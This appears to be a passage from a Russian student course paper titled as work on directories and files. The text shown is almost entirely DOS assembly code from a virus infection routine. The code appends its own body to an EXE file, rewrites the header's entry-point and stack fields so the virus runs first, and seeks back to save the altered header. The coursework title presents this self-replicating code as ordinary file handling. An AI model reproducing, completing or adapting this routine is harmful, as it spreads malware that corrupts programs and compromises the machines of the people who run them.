Курсовая работа: Работа с каталогами и подкаталогами. Работа с файлами
sub_ax: SUB AX, word ptr CS: [data_exe – 100h + 8h]
JMP short length_got
sub_dx: PUSH AX
PUSH DX
MOV AX, word ptr CS: [data_exe – 100h + 8h]
MOV BX, 10h
MUL BX
POP DX
SUB DX, AX
POP AX
length_got:
MOV word ptr CS: [M1 – 100h +1], DX
MOV word ptr CS: [data_exe – 100h + 14h], DX
MOV word ptr CS: [data_exe – 100h + 16h], AX
ADD AX, 50h
MOV word ptr CS: [data_exe – 100h + 10h], DX
MOV word ptr CS: [data_exe – 100h + 0Eh], AX
MOV BX, word ptr CS: [f_number-100h]
MOV DX, OFFSET my_head-100h
MOV CX, my_end – my_head
MOV AH, 40h
CALL call_int21
XOR CX, CX
XOR DX, DX
MOV BX, word ptr CS: [f_number-100h]
MOV AL, 0
MOV AH, 42h
CALL call_int21
MOV BX, word ptr CS: [f_number-100h]